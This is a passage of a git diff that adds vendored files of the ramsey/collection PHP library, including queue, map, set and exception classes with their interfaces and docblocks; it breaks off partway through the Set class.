        + * + * Note that the `peek()` method works equally well when a double-ended queue is + * used as a queue or a stack; in either case, elements are drawn from the + * beginning of the double-ended queue. + * + * While `DoubleEndedQueueInterface` implementations are not strictly required + * to prohibit the insertion of `null` elements, they are strongly encouraged to + * do so. Users of any `DoubleEndedQueueInterface` implementations that do allow + * `null` elements are strongly encouraged *not* to take advantage of the + * ability to insert nulls. This is so because `null` is used as a special + * return value by various methods to indicated that the double-ended queue is + * empty. + * + * @template T + * @extends QueueInterface + */ +interface DoubleEndedQueueInterface extends QueueInterface +{ + /** + * Inserts the specified element at the front of this queue if it is + * possible to do so immediately without violating capacity restrictions. + * + * When using a capacity-restricted double-ended queue, it is generally + * preferable to use the `offerFirst()` method. + * + * @param T $element The element to add to the front of this queue. + * + * @return bool `true` if this queue changed as a result of the call. + * + * @throws RuntimeException if a queue refuses to add a particular element + * for any reason other than that it already contains the element. + * Implementations should use a more-specific exception that extends + * `\RuntimeException`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function addFirst($element): bool; + + /** + * Inserts the specified element at the end of this queue if it is possible + * to do so immediately without violating capacity restrictions. + * + * When using a capacity-restricted double-ended queue, it is generally + * preferable to use the `offerLast()` method. + * + * This method is equivalent to `add()`. + * + * @param T $element The element to add to the end of this queue. + * + * @return bool `true` if this queue changed as a result of the call. + * + * @throws RuntimeException if a queue refuses to add a particular element + * for any reason other than that it already contains the element. + * Implementations should use a more-specific exception that extends + * `\RuntimeException`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function addLast($element): bool; + + /** + * Inserts the specified element at the front of this queue if it is + * possible to do so immediately without violating capacity restrictions. + * + * When using a capacity-restricted queue, this method is generally + * preferable to `addFirst()`, which can fail to insert an element only by + * throwing an exception. + * + * @param T $element The element to add to the front of this queue. + * + * @return bool `true` if the element was added to this queue, else `false`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function offerFirst($element): bool; + + /** + * Inserts the specified element at the end of this queue if it is possible + * to do so immediately without violating capacity restrictions. + * + * When using a capacity-restricted queue, this method is generally + * preferable to `addLast()` which can fail to insert an element only by + * throwing an exception. + * + * @param T $element The element to add to the end of this queue. + * + * @return bool `true` if the element was added to this queue, else `false`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function offerLast($element): bool; + + /** + * Retrieves and removes the head of this queue. + * + * This method differs from `pollFirst()` only in that it throws an + * exception if this queue is empty. + * + * @return T the first element in this queue. + * + * @throws NoSuchElementException if this queue is empty. + */ + public function removeFirst(); + + /** + * Retrieves and removes the tail of this queue. + * + * This method differs from `pollLast()` only in that it throws an exception + * if this queue is empty. + * + * @return T the last element in this queue. + * + * @throws NoSuchElementException if this queue is empty. + */ + public function removeLast(); + + /** + * Retrieves and removes the head of this queue, or returns `null` if this + * queue is empty. + * + * @return T|null the head of this queue, or `null` if this queue is empty. + */ + public function pollFirst(); + + /** + * Retrieves and removes the tail of this queue, or returns `null` if this + * queue is empty. + * + * @return T|null the tail of this queue, or `null` if this queue is empty. + */ + public function pollLast(); + + /** + * Retrieves, but does not remove, the head of this queue. + * + * This method differs from `peekFirst()` only in that it throws an + * exception if this queue is empty. + * + * @return T the head of this queue. + * + * @throws NoSuchElementException if this queue is empty. + */ + public function firstElement(); + + /** + * Retrieves, but does not remove, the tail of this queue. + * + * This method differs from `peekLast()` only in that it throws an exception + * if this queue is empty. + * + * @return T the tail of this queue. + * + * @throws NoSuchElementException if this queue is empty. + */ + public function lastElement(); + + /** + * Retrieves, but does not remove, the head of this queue, or returns `null` + * if this queue is empty. + * + * @return T|null the head of this queue, or `null` if this queue is empty. + */ + public function peekFirst(); + + /** + * Retrieves, but does not remove, the tail of this queue, or returns `null` + * if this queue is empty. + * + * @return T|null the tail of this queue, or `null` if this queue is empty. + */ + public function peekLast(); +} diff --git a/vendor/ramsey/collection/src/Exception/CollectionMismatchException.php b/vendor/ramsey/collection/src/Exception/CollectionMismatchException.php new file mode 100644 index 000000000..7058bcf6e --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/CollectionMismatchException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +use RuntimeException; + +/** + * Thrown when attempting to operate on collections of differing types. + */ +class CollectionMismatchException extends RuntimeException +{ +} diff --git a/vendor/ramsey/collection/src/Exception/InvalidArgumentException.php b/vendor/ramsey/collection/src/Exception/InvalidArgumentException.php new file mode 100644 index 000000000..dcc3eac60 --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/InvalidArgumentException.php @@ -0,0 +1,22 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +/** + * Thrown to indicate an argument is not of the expected type. + */ +class InvalidArgumentException extends \InvalidArgumentException +{ +} diff --git a/vendor/ramsey/collection/src/Exception/InvalidSortOrderException.php b/vendor/ramsey/collection/src/Exception/InvalidSortOrderException.php new file mode 100644 index 000000000..4491429c7 --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/InvalidSortOrderException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +use RuntimeException; + +/** + * Thrown when attempting to use a sort order that is not recognized. + */ +class InvalidSortOrderException extends RuntimeException +{ +} diff --git a/vendor/ramsey/collection/src/Exception/NoSuchElementException.php b/vendor/ramsey/collection/src/Exception/NoSuchElementException.php new file mode 100644 index 000000000..cabcb9d88 --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/NoSuchElementException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +use RuntimeException; + +/** + * Thrown when attempting to access an element that does not exist. + */ +class NoSuchElementException extends RuntimeException +{ +} diff --git a/vendor/ramsey/collection/src/Exception/OutOfBoundsException.php b/vendor/ramsey/collection/src/Exception/OutOfBoundsException.php new file mode 100644 index 000000000..4e9d16fa3 --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/OutOfBoundsException.php @@ -0,0 +1,22 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +/** + * Thrown when attempting to access an element out of the range of the collection. + */ +class OutOfBoundsException extends \OutOfBoundsException +{ +} diff --git a/vendor/ramsey/collection/src/Exception/UnsupportedOperationException.php b/vendor/ramsey/collection/src/Exception/UnsupportedOperationException.php new file mode 100644 index 000000000..9b6228971 --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/UnsupportedOperationException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +use RuntimeException; + +/** + * Thrown to indicate that the requested operation is not supported. + */ +class UnsupportedOperationException extends RuntimeException +{ +} diff --git a/vendor/ramsey/collection/src/Exception/ValueExtractionException.php b/vendor/ramsey/collection/src/Exception/ValueExtractionException.php new file mode 100644 index 000000000..32f2a175f --- /dev/null +++ b/vendor/ramsey/collection/src/Exception/ValueExtractionException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Exception; + +use RuntimeException; + +/** + * Thrown when attempting to extract a value for a method or property that does not exist. + */ +class ValueExtractionException extends RuntimeException +{ +} diff --git a/vendor/ramsey/collection/src/GenericArray.php b/vendor/ramsey/collection/src/GenericArray.php new file mode 100644 index 000000000..2b079aa5e --- /dev/null +++ b/vendor/ramsey/collection/src/GenericArray.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +/** + * `GenericArray` represents a standard array object. + * + * @extends AbstractArray + */ +class GenericArray extends AbstractArray +{ +} diff --git a/vendor/ramsey/collection/src/Map/AbstractMap.php b/vendor/ramsey/collection/src/Map/AbstractMap.php new file mode 100644 index 000000000..378807289 --- /dev/null +++ b/vendor/ramsey/collection/src/Map/AbstractMap.php @@ -0,0 +1,163 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +use Ramsey\Collection\AbstractArray; +use Ramsey\Collection\Exception\InvalidArgumentException; + +use function array_key_exists; +use function array_keys; +use function in_array; +use function var_export; + +/** + * This class provides a basic implementation of `MapInterface`, to minimize the + * effort required to implement this interface. + * + * @template T + * @extends AbstractArray + * @implements MapInterface + */ +abstract class AbstractMap extends AbstractArray implements MapInterface +{ + /** + * @inheritDoc + */ + public function offsetSet($offset, $value): void + { + if ($offset === null) { + throw new InvalidArgumentException( + 'Map elements are key/value pairs; a key must be provided for ' + . 'value ' . var_export($value, true), + ); + } + + $this->data[$offset] = $value; + } + + /** + * @inheritDoc + */ + public function containsKey($key): bool + { + return array_key_exists($key, $this->data); + } + + /** + * @inheritDoc + */ + public function containsValue($value): bool + { + return in_array($value, $this->data, true); + } + + /** + * @inheritDoc + */ + public function keys(): array + { + return array_keys($this->data); + } + + /** + * @inheritDoc + */ + public function get($key, $defaultValue = null) + { + if (!$this->containsKey($key)) { + return $defaultValue; + } + + return $this[$key]; + } + + /** + * @inheritDoc + */ + public function put($key, $value) + { + $previousValue = $this->get($key); + $this[$key] = $value; + + return $previousValue; + } + + /** + * @inheritDoc + */ + public function putIfAbsent($key, $value) + { + $currentValue = $this->get($key); + + if ($currentValue === null) { + $this[$key] = $value; + } + + return $currentValue; + } + + /** + * @inheritDoc + */ + public function remove($key) + { + $previousValue = $this->get($key); + unset($this[$key]); + + return $previousValue; + } + + /** + * @inheritDoc + */ + public function removeIf($key, $value): bool + { + if ($this->get($key) === $value) { + unset($this[$key]); + + return true; + } + + return false; + } + + /** + * @inheritDoc + */ + public function replace($key, $value) + { + $currentValue = $this->get($key); + + if ($this->containsKey($key)) { + $this[$key] = $value; + } + + return $currentValue; + } + + /** + * @inheritDoc + */ + public function replaceIf($key, $oldValue, $newValue): bool + { + if ($this->get($key) === $oldValue) { + $this[$key] = $newValue; + + return true; + } + + return false; + } +} diff --git a/vendor/ramsey/collection/src/Map/AbstractTypedMap.php b/vendor/ramsey/collection/src/Map/AbstractTypedMap.php new file mode 100644 index 000000000..486dc2e29 --- /dev/null +++ b/vendor/ramsey/collection/src/Map/AbstractTypedMap.php @@ -0,0 +1,68 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +use Ramsey\Collection\Exception\InvalidArgumentException; +use Ramsey\Collection\Tool\TypeTrait; +use Ramsey\Collection\Tool\ValueToStringTrait; + +use function var_export; + +/** + * This class provides a basic implementation of `TypedMapInterface`, to + * minimize the effort required to implement this interface. + * + * @template K of array-key + * @template T + * @extends AbstractMap + * @implements TypedMapInterface + */ +abstract class AbstractTypedMap extends AbstractMap implements TypedMapInterface +{ + use TypeTrait; + use ValueToStringTrait; + + /** + * @param K|null $offset + * @param T $value + * + * @inheritDoc + */ + public function offsetSet($offset, $value): void + { + if ($offset === null) { + throw new InvalidArgumentException( + 'Map elements are key/value pairs; a key must be provided for ' + . 'value ' . var_export($value, true), + ); + } + + if ($this->checkType($this->getKeyType(), $offset) === false) { + throw new InvalidArgumentException( + 'Key must be of type ' . $this->getKeyType() . '; key is ' + . $this->toolValueToString($offset), + ); + } + + if ($this->checkType($this->getValueType(), $value) === false) { + throw new InvalidArgumentException( + 'Value must be of type ' . $this->getValueType() . '; value is ' + . $this->toolValueToString($value), + ); + } + + parent::offsetSet($offset, $value); + } +} diff --git a/vendor/ramsey/collection/src/Map/AssociativeArrayMap.php b/vendor/ramsey/collection/src/Map/AssociativeArrayMap.php new file mode 100644 index 000000000..79a314d96 --- /dev/null +++ b/vendor/ramsey/collection/src/Map/AssociativeArrayMap.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +/** + * `AssociativeArrayMap` represents a standard associative array object. + * + * @template T + * @extends AbstractMap + */ +class AssociativeArrayMap extends AbstractMap +{ +} diff --git a/vendor/ramsey/collection/src/Map/MapInterface.php b/vendor/ramsey/collection/src/Map/MapInterface.php new file mode 100644 index 000000000..6ed0b2967 --- /dev/null +++ b/vendor/ramsey/collection/src/Map/MapInterface.php @@ -0,0 +1,149 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +use Ramsey\Collection\ArrayInterface; + +/** + * An object that maps keys to values. + * + * A map cannot contain duplicate keys; each key can map to at most one value. + * + * @template T + * @extends ArrayInterface + */ +interface MapInterface extends ArrayInterface +{ + /** + * Returns `true` if this map contains a mapping for the specified key. + * + * @param array-key $key The key to check in the map. + */ + public function containsKey($key): bool; + + /** + * Returns `true` if this map maps one or more keys to the specified value. + * + * This performs a strict type check on the value. + * + * @param T $value The value to check in the map. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function containsValue($value): bool; + + /** + * Return an array of the keys contained in this map. + * + * @return list + */ + public function keys(): array; + + /** + * Returns the value to which the specified key is mapped, `null` if this + * map contains no mapping for the key, or (optionally) `$defaultValue` if + * this map contains no mapping for the key. + * + * @param array-key $key The key to return from the map. + * @param T|null $defaultValue The default value to use if `$key` is not found. + * + * @return T|null the value or `null` if the key could not be found. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function get($key, $defaultValue = null); + + /** + * Associates the specified value with the specified key in this map. + * + * If the map previously contained a mapping for the key, the old value is + * replaced by the specified value. + * + * @param array-key $key The key to put or replace in the map. + * @param T $value The value to store at `$key`. + * + * @return T|null the previous value associated with key, or `null` if + * there was no mapping for `$key`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function put($key, $value); + + /** + * Associates the specified value with the specified key in this map only if + * it is not already set. + * + * If there is already a value associated with `$key`, this returns that + * value without replacing it. + * + * @param array-key $key The key to put in the map. + * @param T $value The value to store at `$key`. + * + * @return T|null the previous value associated with key, or `null` if + * there was no mapping for `$key`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function putIfAbsent($key, $value); + + /** + * Removes the mapping for a key from this map if it is present. + * + * @param array-key $key The key to remove from the map. + * + * @return T|null the previous value associated with key, or `null` if + * there was no mapping for `$key`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function remove($key); + + /** + * Removes the entry for the specified key only if it is currently mapped to + * the specified value. + * + * This performs a strict type check on the value. + * + * @param array-key $key The key to remove from the map. + * @param T $value The value to match. + * + * @return bool true if the value was removed. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function removeIf($key, $value): bool; + + /** + * Replaces the entry for the specified key only if it is currently mapped + * to some value. + * + * @param array-key $key The key to replace. + * @param T $value The value to set at `$key`. + * + * @return T|null the previous value associated with key, or `null` if + * there was no mapping for `$key`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function replace($key, $value); + + /** + * Replaces the entry for the specified key only if currently mapped to the + * specified value. + * + * This performs a strict type check on the value. + * + * @param array-key $key The key to remove from the map. + * @param T $oldValue The value to match. + * @param T $newValue The value to use as a replacement. + * + * @return bool true if the value was replaced. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function replaceIf($key, $oldValue, $newValue): bool; +} diff --git a/vendor/ramsey/collection/src/Map/NamedParameterMap.php b/vendor/ramsey/collection/src/Map/NamedParameterMap.php new file mode 100644 index 000000000..6e391e970 --- /dev/null +++ b/vendor/ramsey/collection/src/Map/NamedParameterMap.php @@ -0,0 +1,121 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +use Ramsey\Collection\Exception\InvalidArgumentException; +use Ramsey\Collection\Tool\TypeTrait; +use Ramsey\Collection\Tool\ValueToStringTrait; + +use function array_combine; +use function array_key_exists; +use function is_int; +use function var_export; + +/** + * `NamedParameterMap` represents a mapping of values to a set of named keys + * that may optionally be typed + * + * @extends AbstractMap + */ +class NamedParameterMap extends AbstractMap +{ + use TypeTrait; + use ValueToStringTrait; + + /** + * Named parameters defined for this map. + * + * @var array + */ + protected array $namedParameters; + + /** + * Constructs a new `NamedParameterMap`. + * + * @param array $namedParameters The named parameters defined for this map. + * @param array $data An initial set of data to set on this map. + */ + public function __construct(array $namedParameters, array $data = []) + { + $this->namedParameters = $this->filterNamedParameters($namedParameters); + parent::__construct($data); + } + + /** + * Returns named parameters set for this `NamedParameterMap`. + * + * @return array + */ + public function getNamedParameters(): array + { + return $this->namedParameters; + } + + /** + * @inheritDoc + */ + public function offsetSet($offset, $value): void + { + if ($offset === null) { + throw new InvalidArgumentException( + 'Map elements are key/value pairs; a key must be provided for ' + . 'value ' . var_export($value, true), + ); + } + + if (!array_key_exists($offset, $this->namedParameters)) { + throw new InvalidArgumentException( + 'Attempting to set value for unconfigured parameter \'' + . $offset . '\'', + ); + } + + if ($this->checkType($this->namedParameters[$offset], $value) === false) { + throw new InvalidArgumentException( + 'Value for \'' . $offset . '\' must be of type ' + . $this->namedParameters[$offset] . '; value is ' + . $this->toolValueToString($value), + ); + } + + $this->data[$offset] = $value; + } + + /** + * Given an array of named parameters, constructs a proper mapping of + * named parameters to types. + * + * @param array $namedParameters The named parameters to filter. + * + * @return array + */ + protected function filterNamedParameters(array $namedParameters): array + { + $names = []; + $types = []; + + foreach ($namedParameters as $key => $value) { + if (is_int($key)) { + $names[] = $value; + $types[] = 'mixed'; + } else { + $names[] = $key; + $types[] = $value; + } + } + + return array_combine($names, $types) ?: []; + } +} diff --git a/vendor/ramsey/collection/src/Map/TypedMap.php b/vendor/ramsey/collection/src/Map/TypedMap.php new file mode 100644 index 000000000..77ef8d314 --- /dev/null +++ b/vendor/ramsey/collection/src/Map/TypedMap.php @@ -0,0 +1,132 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +use Ramsey\Collection\Tool\TypeTrait; + +/** + * A `TypedMap` represents a map of elements where key and value are typed. + * + * Each element is identified by a key with defined type and a value of defined + * type. The keys of the map must be unique. The values on the map can be + * repeated but each with its own different key. + * + * The most common case is to use a string type key, but it's not limited to + * this type of keys. + * + * This is a direct implementation of `TypedMapInterface`, provided for the sake + * of convenience. + * + * Example usage: + * + * ```php + * $map = new TypedMap('string', Foo::class); + * $map['x'] = new Foo(); + * foreach ($map as $key => $value) { + * // do something with $key, it will be a Foo::class + * } + * + * // this will throw an exception since key must be string + * $map[10] = new Foo(); + * + * // this will throw an exception since value must be a Foo + * $map['bar'] = 'bar'; + * + * // initialize map with contents + * $map = new TypedMap('string', Foo::class, [ + * new Foo(), new Foo(), new Foo() + * ]); + * ``` + * + * It is preferable to subclass `AbstractTypedMap` to create your own typed map + * implementation: + * + * ```php + * class FooTypedMap extends AbstractTypedMap + * { + * public function getKeyType() + * { + * return 'int'; + * } + * + * public function getValueType() + * { + * return Foo::class; + * } + * } + * ``` + * + * … but you also may use the `TypedMap` class: + * + * ```php + * class FooTypedMap extends TypedMap + * { + * public function __constructor(array $data = []) + * { + * parent::__construct('int', Foo::class, $data); + * } + * } + * ``` + * + * @template K of array-key + * @template T + * @extends AbstractTypedMap + */ +class TypedMap extends AbstractTypedMap +{ + use TypeTrait; + + /** + * The data type of keys stored in this collection. + * + * A map key's type is immutable once it is set. For this reason, this + * property is set private. + */ + private string $keyType; + + /** + * The data type of values stored in this collection. + * + * A map value's type is immutable once it is set. For this reason, this + * property is set private. + */ + private string $valueType; + + /** + * Constructs a map object of the specified key and value types, + * optionally with the specified data. + * + * @param string $keyType The data type of the map's keys. + * @param string $valueType The data type of the map's values. + * @param array $data The initial data to set for this map. + */ + public function __construct(string $keyType, string $valueType, array $data = []) + { + $this->keyType = $keyType; + $this->valueType = $valueType; + + parent::__construct($data); + } + + public function getKeyType(): string + { + return $this->keyType; + } + + public function getValueType(): string + { + return $this->valueType; + } +} diff --git a/vendor/ramsey/collection/src/Map/TypedMapInterface.php b/vendor/ramsey/collection/src/Map/TypedMapInterface.php new file mode 100644 index 000000000..0308109cc --- /dev/null +++ b/vendor/ramsey/collection/src/Map/TypedMapInterface.php @@ -0,0 +1,35 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Map; + +/** + * A `TypedMapInterface` represents a map of elements where key and value are + * typed. + * + * @template T + * @extends MapInterface + */ +interface TypedMapInterface extends MapInterface +{ + /** + * Return the type used on the key. + */ + public function getKeyType(): string; + + /** + * Return the type forced on the values. + */ + public function getValueType(): string; +} diff --git a/vendor/ramsey/collection/src/Queue.php b/vendor/ramsey/collection/src/Queue.php new file mode 100644 index 000000000..bc8c24e1c --- /dev/null +++ b/vendor/ramsey/collection/src/Queue.php @@ -0,0 +1,169 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use Ramsey\Collection\Exception\InvalidArgumentException; +use Ramsey\Collection\Exception\NoSuchElementException; +use Ramsey\Collection\Tool\TypeTrait; +use Ramsey\Collection\Tool\ValueToStringTrait; + +/** + * This class provides a basic implementation of `QueueInterface`, to minimize + * the effort required to implement this interface. + * + * @template T + * @extends AbstractArray + * @implements QueueInterface + */ +class Queue extends AbstractArray implements QueueInterface +{ + use TypeTrait; + use ValueToStringTrait; + + /** + * The type of elements stored in this queue. + * + * A queue's type is immutable once it is set. For this reason, this + * property is set private. + */ + private string $queueType; + + /** + * The index of the head of the queue. + */ + protected int $index = 0; + + /** + * Constructs a queue object of the specified type, optionally with the + * specified data. + * + * @param string $queueType The type (FQCN) associated with this queue. + * @param array $data The initial items to store in the collection. + */ + public function __construct(string $queueType, array $data = []) + { + $this->queueType = $queueType; + parent::__construct($data); + } + + /** + * {@inheritDoc} + * + * Since arbitrary offsets may not be manipulated in a queue, this method + * serves only to fulfill the `ArrayAccess` interface requirements. It is + * invoked by other operations when adding values to the queue. + * + * @throws InvalidArgumentException if $value is of the wrong type + */ + public function offsetSet($offset, $value): void + { + if ($this->checkType($this->getType(), $value) === false) { + throw new InvalidArgumentException( + 'Value must be of type ' . $this->getType() . '; value is ' + . $this->toolValueToString($value), + ); + } + + $this->data[] = $value; + } + + /** + * @throws InvalidArgumentException if $value is of the wrong type + * + * @inheritDoc + */ + public function add($element): bool + { + $this[] = $element; + + return true; + } + + /** + * @inheritDoc + */ + public function element() + { + $element = $this->peek(); + + if ($element === null) { + throw new NoSuchElementException( + 'Can\'t return element from Queue. Queue is empty.', + ); + } + + return $element; + } + + /** + * @inheritDoc + */ + public function offer($element): bool + { + try { + return $this->add($element); + } catch (InvalidArgumentException $e) { + return false; + } + } + + /** + * @inheritDoc + */ + public function peek() + { + if ($this->count() === 0) { + return null; + } + + return $this[$this->index]; + } + + /** + * @inheritDoc + */ + public function poll() + { + if ($this->count() === 0) { + return null; + } + + $head = $this[$this->index]; + + unset($this[$this->index]); + $this->index++; + + return $head; + } + + /** + * @inheritDoc + */ + public function remove() + { + $head = $this->poll(); + + if ($head === null) { + throw new NoSuchElementException('Can\'t return element from Queue. Queue is empty.'); + } + + return $head; + } + + public function getType(): string + { + return $this->queueType; + } +} diff --git a/vendor/ramsey/collection/src/QueueInterface.php b/vendor/ramsey/collection/src/QueueInterface.php new file mode 100644 index 000000000..4f91487fa --- /dev/null +++ b/vendor/ramsey/collection/src/QueueInterface.php @@ -0,0 +1,204 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use Ramsey\Collection\Exception\NoSuchElementException; +use RuntimeException; + +/** + * A queue is a collection in which the entities in the collection are kept in + * order. + * + * The principal operations on the queue are the addition of entities to the end + * (tail), also known as *enqueue*, and removal of entities from the front + * (head), also known as *dequeue*. This makes the queue a first-in-first-out + * (FIFO) data structure. + * + * Besides basic array operations, queues provide additional insertion, + * extraction, and inspection operations. Each of these methods exists in two + * forms: one throws an exception if the operation fails, the other returns a + * special value (either `null` or `false`, depending on the operation). The + * latter form of the insert operation is designed specifically for use with + * capacity-restricted `QueueInterface` implementations; in most + * implementations, insert operations cannot fail. + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
        Summary of QueueInterface methods
        Throws exceptionReturns special value
        Insertadd()offer()
        Removeremove()poll()
        Examineelement()peek()
        + * + * Queues typically, but do not necessarily, order elements in a FIFO + * (first-in-first-out) manner. Among the exceptions are priority queues, which + * order elements according to a supplied comparator, or the elements' natural + * ordering, and LIFO queues (or stacks) which order the elements LIFO + * (last-in-first-out). Whatever the ordering used, the head of the queue is + * that element which would be removed by a call to remove() or poll(). In a + * FIFO queue, all new elements are inserted at the tail of the queue. Other + * kinds of queues may use different placement rules. Every `QueueInterface` + * implementation must specify its ordering properties. + * + * The `offer()` method inserts an element if possible, otherwise returning + * `false`. This differs from the `add()` method, which can fail to add an + * element only by throwing an unchecked exception. The `offer()` method is + * designed for use when failure is a normal, rather than exceptional + * occurrence, for example, in fixed-capacity (or "bounded") queues. + * + * The `remove()` and `poll()` methods remove and return the head of the queue. + * Exactly which element is removed from the queue is a function of the queue's + * ordering policy, which differs from implementation to implementation. The + * `remove()` and `poll()` methods differ only in their behavior when the queue + * is empty: the `remove()` method throws an exception, while the `poll()` + * method returns `null`. + * + * The `element()` and `peek()` methods return, but do not remove, the head of + * the queue. + * + * `QueueInterface` implementations generally do not allow insertion of `null` + * elements, although some implementations do not prohibit insertion of `null`. + * Even in the implementations that permit it, `null` should not be inserted + * into a queue, as `null` is also used as a special return value by the + * `poll()` method to indicate that the queue contains no elements. + * + * @template T + * @extends ArrayInterface + */ +interface QueueInterface extends ArrayInterface +{ + /** + * Ensures that this queue contains the specified element (optional + * operation). + * + * Returns `true` if this queue changed as a result of the call. (Returns + * `false` if this queue does not permit duplicates and already contains the + * specified element.) + * + * Queues that support this operation may place limitations on what elements + * may be added to this queue. In particular, some queues will refuse to add + * `null` elements, and others will impose restrictions on the type of + * elements that may be added. Queue classes should clearly specify in their + * documentation any restrictions on what elements may be added. + * + * If a queue refuses to add a particular element for any reason other than + * that it already contains the element, it must throw an exception (rather + * than returning `false`). This preserves the invariant that a queue always + * contains the specified element after this call returns. + * + * @see self::offer() + * + * @param T $element The element to add to this queue. + * + * @return bool `true` if this queue changed as a result of the call. + * + * @throws RuntimeException if a queue refuses to add a particular element + * for any reason other than that it already contains the element. + * Implementations should use a more-specific exception that extends + * `\RuntimeException`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function add($element): bool; + + /** + * Retrieves, but does not remove, the head of this queue. + * + * This method differs from `peek()` only in that it throws an exception if + * this queue is empty. + * + * @see self::peek() + * + * @return T the head of this queue. + * + * @throws NoSuchElementException if this queue is empty. + */ + public function element(); + + /** + * Inserts the specified element into this queue if it is possible to do so + * immediately without violating capacity restrictions. + * + * When using a capacity-restricted queue, this method is generally + * preferable to `add()`, which can fail to insert an element only by + * throwing an exception. + * + * @see self::add() + * + * @param T $element The element to add to this queue. + * + * @return bool `true` if the element was added to this queue, else `false`. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function offer($element): bool; + + /** + * Retrieves, but does not remove, the head of this queue, or returns `null` + * if this queue is empty. + * + * @see self::element() + * + * @return T|null the head of this queue, or `null` if this queue is empty. + */ + public function peek(); + + /** + * Retrieves and removes the head of this queue, or returns `null` + * if this queue is empty. + * + * @see self::remove() + * + * @return T|null the head of this queue, or `null` if this queue is empty. + */ + public function poll(); + + /** + * Retrieves and removes the head of this queue. + * + * This method differs from `poll()` only in that it throws an exception if + * this queue is empty. + * + * @see self::poll() + * + * @return T the head of this queue. + * + * @throws NoSuchElementException if this queue is empty. + */ + public function remove(); + + /** + * Returns the type associated with this queue. + */ + public function getType(): string; +} diff --git a/vendor/ramsey/collection/src/Set.php b/vendor/ramsey/collection/src/Set.php new file mode 100644 index 000000000..c1d37ccca --- /dev/null +++ b/vendor/ramsey/collection/src/Set.php @@ -0,0 +1,67 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +/** + * A set is a collection that contains no duplicate elements. + * + * Great care must be exercised if mutable objects are used as set elements. + * The behavior of a set is not specified if the value of an object is changed + * in a manner that affects equals comparisons while the object is an element in + * the set. + * + * Example usage: + * + * ``` php + * $foo = new \My\Foo(); + * $set = new Set(\My\Foo::class); + * + * $set->add($foo); // returns TRUE, the element don't exists + * $set->add($foo); // returns FALSE, the element already exists + * + * $bar = new \My\Foo(); + * $set->add($bar); // returns TRUE, $bar !== $foo + * ``` + * + * @template T + * @extends AbstractSet + */ +class Set extends AbstractSet +{ + /** + * The type of elements stored in this set + * + * A set's type is immutable. For this reason, this property is private. + */ + private string $setType; + + /** + * Constructs a set object of the specified type, optionally with the + * specified data. + * + * @param string $setType The type (FQCN) associated with this set. + * @param array $data The initial items to store in the set. + */ + public function __construct(string $setType, array $data = []) + { + $this->setType = 